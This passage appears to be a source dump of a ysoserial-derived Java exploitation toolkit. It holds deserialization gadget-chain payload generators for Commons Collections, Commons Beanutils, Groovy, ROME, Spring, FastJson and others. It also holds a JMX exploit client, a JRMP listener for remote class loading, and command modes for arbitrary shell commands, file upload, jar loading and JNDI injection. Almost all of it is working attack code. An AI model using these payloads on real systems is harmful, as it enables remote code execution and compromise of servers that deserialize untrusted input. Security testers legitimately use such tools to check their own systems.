ObjectOutputStream(new FileOutputStream("ok7.ser")); 23 | // oos.writeObject(testList); 24 | // oos.flush(); 25 | 26 | //ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ok.ser")); 27 | //ois.readObject(); 28 | } 29 | 30 | 31 | public static Class getClazz(String clazzName){ 32 | try { 33 | return Class.forName(clazzName); 34 | }catch (Exception e){ 35 | try { 36 | return Thread.currentThread().getContextClassLoader().loadClass(clazzName); 37 | }catch (Exception ee){ 38 | 39 | } 40 | } 41 | return null; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/util/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.util; 2 | 3 | import javassist.CannotCompileException; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import me.gv7.woodpecker.yso.JavassistClassLoader; 7 | 8 | import java.io.ByteArrayOutputStream; 9 | import java.io.IOException; 10 | import java.io.InputStream; 11 | 12 | public class ClassFiles { 13 | public static String classAsFile(final Class clazz) { 14 | return classAsFile(clazz, true); 15 | } 16 | 17 | public static String classAsFile(final Class clazz, boolean suffix) { 18 | String str; 19 | if (clazz.getEnclosingClass() == null) { 20 | str = clazz.getName().replace(".", "/"); 21 | } else { 22 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 23 | } 24 | if (suffix) { 25 | str += ".class"; 26 | } 27 | return str; 28 | } 29 | 30 | public static byte[] classAsBytes(final Class clazz) { 31 | try { 32 | final byte[] buffer = new byte[1024]; 33 | final String file = classAsFile(clazz); 34 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 35 | if (in == null) { 36 | throw new IOException("couldn't find '" + file + "'"); 37 | } 38 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 39 | int len; 40 | while ((len = in.read(buffer)) != -1) { 41 | out.write(buffer, 0, len); 42 | } 43 | return out.toByteArray(); 44 | } catch (IOException e) { 45 | throw new RuntimeException(e); 46 | } 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsBeanutils2.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 5 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 6 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 7 | import org.apache.commons.beanutils.BeanComparator; 8 | import java.util.PriorityQueue; 9 | 10 | import static me.gv7.woodpecker.yso.payloads.util.Reflections.setFieldValue; 11 | 12 | @SuppressWarnings({ "rawtypes", "unchecked" }) 13 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2","commons-logging:commons-logging:1.2"}) 14 | @Authors({ Authors.PHITHON }) 15 | public class CommonsBeanutils2 implements ObjectPayload { 16 | 17 | @Override 18 | public Object getObject(String command) throws Exception { 19 | final Object templates = Gadgets.createTemplatesImpl(command); 20 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 21 | final PriorityQueue queue = new PriorityQueue(2, comparator); 22 | // stub data for replacement later 23 | queue.add("1"); 24 | queue.add("1"); 25 | 26 | setFieldValue(comparator, "property", "outputProperties"); 27 | setFieldValue(queue, "queue", new Object[]{templates, templates}); 28 | 29 | return queue; 30 | } 31 | 32 | public static void main(final String[] args) throws Exception { 33 | PayloadRunner.run(CommonsBeanutils2.class, args); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Spring3.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 5 | import me.gv7.woodpecker.yso.payloads.custom.CustomCommand; 6 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 7 | import org.springframework.transaction.jta.JtaTransactionManager; 8 | 9 | 10 | /** 11 | * Spring-tx JtxTransactionManager JNDI Injection 12 | * 13 | * @author wh1t3P1g 14 | * @since 2020/2/5 15 | */ 16 | @Dependencies({"org.springframework:spring-tx:5.2.3.RELEASE","org.springframework:spring-context:5.2.3.RELEASE","javax.transaction:javax.transaction-api:1.2"}) 17 | @Authors({ Authors.WH1T3P1G }) 18 | public class Spring3 extends PayloadRunner implements ObjectPayload { 19 | 20 | @Override 21 | public Object getObject(String command) throws Exception { 22 | String jndiURL = null; 23 | if(command.toLowerCase().startsWith(CustomCommand.COMMAND_JNDI)){ 24 | jndiURL = command.substring(CustomCommand.COMMAND_JNDI.length()); 25 | }else{ 26 | throw new Exception(String.format("Command [%s] not supported",command)); 27 | } 28 | 29 | JtaTransactionManager manager = new JtaTransactionManager(); 30 | manager.setUserTransactionName(jndiURL); 31 | return manager; 32 | } 33 | 34 | public static void main(String[] args) throws Exception { 35 | //args = new String[]{"jndi:ldap://127.0.0.1:1664/obj"}; 36 | PayloadRunner.run(Spring3.class, args); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Groovy1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.Map; 5 | 6 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 7 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 8 | import org.codehaus.groovy.runtime.ConvertedClosure; 9 | import org.codehaus.groovy.runtime.MethodClosure; 10 | 11 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 12 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 13 | 14 | /* 15 | Gadget chain: 16 | ObjectInputStream.readObject() 17 | PriorityQueue.readObject() 18 | Comparator.compare() (Proxy) 19 | ConvertedClosure.invoke() 20 | MethodClosure.call() 21 | ... 22 | Method.invoke() 23 | Runtime.exec() 24 | 25 | Requires: 26 | groovy 27 | */ 28 | 29 | @SuppressWarnings({ "rawtypes", "unchecked" }) 30 | @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) 31 | @Authors({ Authors.FROHOFF }) 32 | public class Groovy1 extends PayloadRunner implements ObjectPayload { 33 | 34 | public InvocationHandler getObject(final String command) throws Exception { 35 | final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); 36 | 37 | final Map map = Gadgets.createProxy(closure, Map.class); 38 | 39 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); 40 | 41 | return handler; 42 | } 43 | 44 | public static void main(final String[] args) throws Exception { 45 | PayloadRunner.run(Groovy1.class, args); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/ROME.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | import javax.xml.transform.Templates; 5 | 6 | import com.sun.syndication.feed.impl.ObjectBean; 7 | 8 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 9 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 10 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 11 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 12 | 13 | /** 14 | * 15 | * TemplatesImpl.getOutputProperties() 16 | * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) 17 | * NativeMethodAccessorImpl.invoke(Object, Object[]) 18 | * DelegatingMethodAccessorImpl.invoke(Object, Object[]) 19 | * Method.invoke(Object, Object...) 20 | * ToStringBean.toString(String) 21 | * ToStringBean.toString() 22 | * ObjectBean.toString() 23 | * EqualsBean.beanHashCode() 24 | * ObjectBean.hashCode() 25 | * HashMap.hash(Object) 26 | * HashMap.readObject(ObjectInputStream) 27 | * 28 | * @author mbechler 29 | * 30 | */ 31 | @Dependencies("rome:rome:1.0") 32 | @Authors({ Authors.MBECHLER }) 33 | public class ROME implements ObjectPayload { 34 | 35 | public Object getObject ( String command ) throws Exception { 36 | Object o = Gadgets.createTemplatesImpl(command); 37 | ObjectBean delegate = new ObjectBean(Templates.class, o); 38 | ObjectBean root = new ObjectBean(ObjectBean.class, delegate); 39 | return Gadgets.makeMap(root, root); 40 | } 41 | 42 | 43 | public static void main ( final String[] args ) throws Exception { 44 | PayloadRunner.run(ROME.class, args); 45 | } 46 | 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/exploit/JMXInvokeMBean.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.exploit; 2 | 3 | import javax.management.MBeanServerConnection; 4 | import javax.management.ObjectName; 5 | import javax.management.remote.JMXConnector; 6 | import javax.management.remote.JMXConnectorFactory; 7 | import javax.management.remote.JMXServiceURL; 8 | 9 | import me.gv7.woodpecker.yso.payloads.ObjectPayload; 10 | 11 | /* 12 | * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. 13 | * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. 14 | * 15 | */ 16 | public class JMXInvokeMBean { 17 | 18 | public static void main(String[] args) throws Exception { 19 | 20 | if ( args.length < 4 ) { 21 | System.err.println(JMXInvokeMBean.class.getName() + " "); 22 | System.exit(-1); 23 | } 24 | 25 | JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); 26 | 27 | JMXConnector jmxConnector = JMXConnectorFactory.connect(url); 28 | MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); 29 | 30 | // create the payload 31 | Object payloadObject = ObjectPayload.Utils.makePayloadObject(args[2], args[3]); 32 | ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); 33 | 34 | mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); 35 | 36 | //close the connection 37 | jmxConnector.close(); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/custom/CustomCommand.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.custom; 2 | 3 | public class CustomCommand { 4 | public final static String COMMAND_SLEEP = "sleep:"; 5 | public final static String COMMAND_DNSLOG = "dnslog:"; 6 | public final static String COMMAND_HTTPLOG = "httplog:"; 7 | public final static String COMMAND_RAW_CMD = "raw_cmd:"; 8 | public final static String COMMAND_WIN_CMD = "win_cmd:"; 9 | public final static String COMMAND_LINUX_CMD = "linux_cmd:"; 10 | public final static String COMMAND_AUTO_CMD = "auto_cmd:"; 11 | public final static String COMMAND_CLASS_FILE = "class_file:"; 12 | public final static String COMMAND_CLASS_BASE64 = "class_base64:"; 13 | public final static String COMMAND_CODE_FILE = "code_file:"; 14 | public final static String COMMAND_CODE_BASE64 = "code_base64:"; 15 | public final static String COMMAND_BCEL = "bcel:"; 16 | public final static String COMMAND_BCEL_WITH_ARGS = "bcel_with_args:"; 17 | public final static String COMMAND_BCEL_CLASS_FILE = "bcel_class_file:"; 18 | public final static String COMMAND_BCEL_CLASS_FILE_WITH_ARGS = "bcel_class_file_with_args:"; 19 | public final static String COMMAND_SCRIPT_FILE = "script_file:"; 20 | public final static String COMMAND_SCRIPT_BASE64 = "script_base64:"; 21 | public final static String COMMAND_UPLOADFILE = "upload_file:"; 22 | public final static String COMMAND_UPLOAD_BASE64 = "upload_file_base64:"; 23 | public final static String COMMAND_LOADJAR = "loadjar:"; 24 | public final static String COMMAND_LOADJAR_WITH_ARGS = "loadjar_with_args:"; 25 | public final static String COMMAND_JNDI = "jndi:"; 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsBeanutils1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import java.math.BigInteger; 4 | import java.util.*; 5 | 6 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 7 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 8 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 9 | import org.apache.commons.beanutils.BeanComparator; 10 | 11 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 12 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 13 | 14 | @SuppressWarnings({ "rawtypes", "unchecked" }) 15 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 16 | @Authors({ Authors.FROHOFF }) 17 | public class CommonsBeanutils1 implements ObjectPayload { 18 | 19 | public Object getObject(final String command) throws Exception { 20 | final Object templates = Gadgets.createTemplatesImpl(command); 21 | // mock method name until armed 22 | final BeanComparator comparator = new BeanComparator("lowestSetBit"); 23 | 24 | // create queue with numbers and basic comparator 25 | final PriorityQueue queue = new PriorityQueue(2, comparator); 26 | // stub data for replacement later 27 | queue.add(new BigInteger("1")); 28 | queue.add(new BigInteger("1")); 29 | 30 | // switch method called by comparator 31 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 32 | 33 | // switch contents of queue 34 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 35 | queueArray[0] = templates; 36 | queueArray[1] = templates; 37 | 38 | return queue; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsBeanutils1.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/payloads/JRMPReverseConnectSMTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.payloads; 2 | 3 | 4 | import java.net.URL; 5 | import java.util.concurrent.Callable; 6 | 7 | import me.gv7.woodpecker.yso.test.WrappedTest; 8 | import me.gv7.woodpecker.yso.exploit.JRMPListener; 9 | 10 | 11 | /** 12 | * @author mbechler 13 | * 14 | */ 15 | public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest { 16 | 17 | private int jrmpPort; 18 | 19 | 20 | public JRMPReverseConnectSMTest (String command) { 21 | super(command); 22 | // some payloads cannot specify the port 23 | jrmpPort = 1099; 24 | } 25 | 26 | 27 | 28 | 29 | 30 | /** 31 | * {@inheritDoc} 32 | * 33 | * @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable) 34 | */ 35 | @Override 36 | public Callable createCallable ( final Callable innerCallable ) { 37 | return super.createCallable(new Callable() { 38 | public Object call () throws Exception { 39 | JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/")); 40 | Thread t = new Thread(l, "JRMP listener"); 41 | try { 42 | t.start(); 43 | Object res = innerCallable.call(); 44 | l.waitFor(1000); 45 | return res; 46 | } 47 | finally { 48 | l.close(); 49 | t.interrupt(); 50 | t.join(); 51 | } 52 | } 53 | }); 54 | } 55 | 56 | @Override 57 | public String getPayloadArgs () { 58 | return "localhost:" + jrmpPort; 59 | } 60 | 61 | 62 | 63 | 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollectionsK2.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import org.apache.commons.collections4.functors.InvokerTransformer; 4 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections4.map.LazyMap; 6 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 7 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 8 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 9 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 10 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | same as K1, but use commons-collections4.0 18 | */ 19 | @SuppressWarnings({"rawtypes", "unchecked"}) 20 | @Dependencies({"commons-collections:commons-collections4:4.0"}) 21 | @Authors({Authors.KORLR}) 22 | public class CommonsCollectionsK2 extends PayloadRunner implements ObjectPayload { 23 | 24 | public Map getObject(final String command) throws Exception { 25 | Object tpl = Gadgets.createTemplatesImpl(command); 26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 27 | 28 | HashMap innerMap = new HashMap(); 29 | Map m = LazyMap.lazyMap(innerMap, transformer); 30 | 31 | Map outerMap = new HashMap(); 32 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 33 | outerMap.put(tied, "t"); 34 | // clear the inner map data, this is important 35 | innerMap.clear(); 36 | 37 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 38 | return outerMap; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsCollectionsK2.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/annotation/Authors.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target(ElementType.TYPE) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Authors { 12 | String FROHOFF = "frohoff"; 13 | String PWNTESTER = "pwntester"; 14 | String CSCHNEIDER4711 = "cschneider4711"; 15 | String MBECHLER = "mbechler"; 16 | String JACKOFMOSTTRADES = "JackOfMostTrades"; 17 | String MATTHIASKAISER = "matthias_kaiser"; 18 | String GEBL = "gebl" ; 19 | String JACOBAINES = "jacob-baines"; 20 | String JASINNER = "jasinner"; 21 | String KULLRICH = "kai_ullrich"; 22 | String TINT0 = "_tint0"; 23 | String SCRISTALLI = "scristalli"; 24 | String HANYRAX = "hanyrax"; 25 | String EDOARDOVIGNATI = "EdoardoVignati"; 26 | String JANG = "Jang"; 27 | String ARTSPLOIT = "artsploit"; 28 | String WH1T3P1G = "wh1t3p1g"; 29 | String NAVALORENZO = "navalorenzo"; 30 | String BEIYING ="Beiying"; 31 | String KORLR = "koalr"; 32 | String PHITHON = "phith0n"; 33 | String NOPOINT = "NoPoint"; 34 | String C0NY1 = "c0ny1"; 35 | String yulegeyu = "yulegeyu"; 36 | String None = "None"; 37 | String KEZIBEI = "kezibei"; 38 | 39 | String[] value() default {}; 40 | 41 | public static class Utils { 42 | public static String[] getAuthors(AnnotatedElement annotated) { 43 | Authors authors = annotated.getAnnotation(Authors.class); 44 | if (authors != null && authors.value() != null) { 45 | return authors.value(); 46 | } else { 47 | return new String[0]; 48 | } 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/exploit/JRMPClassLoadingListener.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.exploit; 2 | 3 | 4 | 5 | import me.gv7.woodpecker.yso.payloads.JRMPClient; 6 | 7 | import java.net.URL; 8 | 9 | 10 | /** 11 | * JRMP listener triggering RMI remote classloading 12 | * 13 | * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. 14 | * 15 | * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need 16 | * access to an RMI socket when you can deliver {@link JRMPClient}. 17 | * 18 | * This only works if 19 | * - the remote end is running with a security manager 20 | * - java.rmi.server.useCodebaseOnly=false (default until 7u21) 21 | * - the remote has the proper permissions to remotely load the class (mostly URLPermission) 22 | * 23 | * and, of course, the payload class is then run under the security manager with a remote codebase 24 | * so either the policy needs to allow whatever you want to do in the payload or you need to combine 25 | * with a security manager bypass exploit (wouldn't be the first time). 26 | * 27 | * @author mbechler 28 | * 29 | */ 30 | public class JRMPClassLoadingListener { 31 | 32 | public static final void main ( final String[] args ) { 33 | 34 | if ( args.length < 3 ) { 35 | System.err.println(JRMPClassLoadingListener.class.getName() + " "); 36 | System.exit(-1); 37 | return; 38 | } 39 | 40 | try { 41 | int port = Integer.parseInt(args[ 0 ]); 42 | System.err.println("* Opening JRMP listener on " + port); 43 | JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); 44 | c.run(); 45 | } 46 | catch ( Exception e ) { 47 | System.err.println("Listener error"); 48 | e.printStackTrace(System.err); 49 | } 50 | } 51 | 52 | } 53 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/FindClassByBomb.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 4 | import me.gv7.woodpecker.yso.payloads.util.ClassUtil; 5 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 6 | 7 | import java.text.DateFormat; 8 | import java.text.SimpleDateFormat; 9 | import java.util.*; 10 | 11 | @SuppressWarnings ( { 12 | "restriction" 13 | } ) 14 | @Authors({ Authors.C0NY1 }) 15 | public class FindClassByBomb extends PayloadRunner implements ObjectPayload { 16 | 17 | public Object getObject ( final String command ) throws Exception { 18 | int depth; 19 | String className = null; 20 | 21 | if(command.contains("|")){ 22 | String[] x = command.split("\\|"); 23 | className = x[0]; 24 | depth = Integer.valueOf(x[1]); 25 | }else{ 26 | className = command; 27 | depth = 28; 28 | } 29 | 30 | Class findClazz = ClassUtil.genClass(className); 31 | Set root = new HashSet(); 32 | Set s1 = root; 33 | Set s2 = new HashSet(); 34 | for (int i = 0; i < depth; i++) { 35 | Set t1 = new HashSet(); 36 | Set t2 = new HashSet(); 37 | t1.add(findClazz); 38 | 39 | s1.add(t1); 40 | s1.add(t2); 41 | 42 | s2.add(t1); 43 | s2.add(t2); 44 | s1 = t1; 45 | s2 = t2; 46 | } 47 | return root; 48 | } 49 | 50 | public static void main(final String[] args) throws Exception { 51 | DateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 52 | System.out.println(String.format("Start in %s",df.format(new Date()))); 53 | PayloadRunner.run(FindClassByBomb.class, args); 54 | System.out.println(String.format("End in %s",df.format(new Date()))); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollectionsK1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import org.apache.commons.collections.functors.InvokerTransformer; 4 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections.map.LazyMap; 6 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 7 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 8 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 9 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 10 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | HashMap 18 | TiedMapEntry.hashCode 19 | TiedMapEntry.getValue 20 | LazyMap.decorate 21 | InvokerTransformer 22 | templates... 23 | */ 24 | @SuppressWarnings({"rawtypes", "unchecked"}) 25 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 26 | @Authors({Authors.KORLR}) 27 | public class CommonsCollectionsK1 extends PayloadRunner implements ObjectPayload { 28 | 29 | public Map getObject(final String command) throws Exception { 30 | Object tpl = Gadgets.createTemplatesImpl(command); 31 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 32 | 33 | HashMap innerMap = new HashMap(); 34 | Map m = LazyMap.decorate(innerMap, transformer); 35 | 36 | Map outerMap = new HashMap(); 37 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 38 | outerMap.put(tied, "t"); 39 | // clear the inner map data, this is important 40 | innerMap.clear(); 41 | 42 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 43 | return outerMap; 44 | } 45 | 46 | public static void main(final String[] args) throws Exception { 47 | PayloadRunner.run(CommonsCollectionsK1.class, args); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/FastJson.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import com.alibaba.fastjson.JSONObject; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 5 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 6 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 7 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 8 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 9 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 10 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 11 | 12 | import javax.management.BadAttributeValueExpException; 13 | import java.lang.reflect.Field; 14 | 15 | /** 16 | * 17 | * javax.management.BadAttributeValueExpException#readObject 18 | * com.alibaba.fastjson.JSON#toJSONString 19 | * com.sun.org.apache.xalan.internal.trax.TemplatesImpl#getOutputProperties (JDK) 20 | * org.apache.xalan.xsltc.trax.TemplatesImpl#getOutputProperties (xalan) 21 | * 22 | * Requires: FastJson 23 | */ 24 | @Dependencies({"com.alibaba:fastjson:1.2.48"}) 25 | @Authors({ Authors.None }) 26 | public class FastJson extends PayloadRunner implements ObjectPayload { 27 | 28 | @Override 29 | public Object getObject(String command) throws Exception { 30 | Object templatesImpl = Gadgets.createTemplatesImpl(command); 31 | JSONObject jsonObject = new JSONObject(); 32 | jsonObject.put("foo",templatesImpl); 33 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 34 | Field valfield = val.getClass().getDeclaredField("val"); 35 | Reflections.setAccessible(valfield); 36 | valfield.set(val, jsonObject); 37 | return val; 38 | } 39 | 40 | public static boolean isApplicableJavaVersion() { 41 | return JavaVersion.isBadAttrValExcReadObj(); 42 | } 43 | 44 | public static void main(String[] args) throws Exception { 45 | args = new String[]{"raw_cmd:open -a Calculator"}; 46 | PayloadRunner.run(FastJson.class, args); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections2.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 7 | import org.apache.commons.collections4.comparators.TransformingComparator; 8 | import org.apache.commons.collections4.functors.InvokerTransformer; 9 | 10 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 11 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 12 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 13 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 14 | 15 | 16 | /* 17 | Gadget chain: 18 | ObjectInputStream.readObject() 19 | PriorityQueue.readObject() 20 | ... 21 | TransformingComparator.compare() 22 | InvokerTransformer.transform() 23 | Method.invoke() 24 | Runtime.exec() 25 | */ 26 | 27 | @SuppressWarnings({ "rawtypes", "unchecked" }) 28 | @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) 29 | @Authors({ Authors.FROHOFF }) 30 | public class CommonsCollections2 implements ObjectPayload> { 31 | 32 | public Queue getObject(final String command) throws Exception { 33 | final Object templates = Gadgets.createTemplatesImpl(command); 34 | // mock method name until armed 35 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 36 | 37 | // create queue with numbers and basic comparator 38 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 39 | // stub data for replacement later 40 | queue.add(1); 41 | queue.add(1); 42 | 43 | // switch method called by comparator 44 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 45 | 46 | // switch contents of queue 47 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 48 | queueArray[0] = templates; 49 | queueArray[1] = 1; 50 | 51 | return queue; 52 | } 53 | 54 | public static void main(final String[] args) throws Exception { 55 | PayloadRunner.run(CommonsCollections2.class, args); 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsBeanutils3.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import com.sun.rowset.JdbcRowSetImpl; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 5 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 6 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 7 | import me.gv7.woodpecker.yso.payloads.custom.CustomCommand; 8 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 9 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 10 | import org.apache.commons.beanutils.BeanComparator; 11 | 12 | import java.math.BigInteger; 13 | import java.util.PriorityQueue; 14 | 15 | @PayloadTest( precondition = "isApplicableJavaVersion") 16 | @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-collections:commons-collections:3.1"}) 17 | @Authors({ Authors.BEIYING }) 18 | public class CommonsBeanutils3 implements ObjectPayload{ 19 | @Override 20 | public Object getObject(String command) throws Exception { 21 | String jndiURL = null; 22 | if(command.toLowerCase().startsWith(CustomCommand.COMMAND_JNDI)){ 23 | jndiURL = command.substring(CustomCommand.COMMAND_JNDI.length()); 24 | }else{ 25 | throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); 26 | } 27 | 28 | BeanComparator comparator = new BeanComparator("lowestSetBit"); 29 | JdbcRowSetImpl rs = new JdbcRowSetImpl(); 30 | rs.setDataSourceName(jndiURL); 31 | rs.setMatchColumn("foo"); 32 | PriorityQueue queue = new PriorityQueue(2, 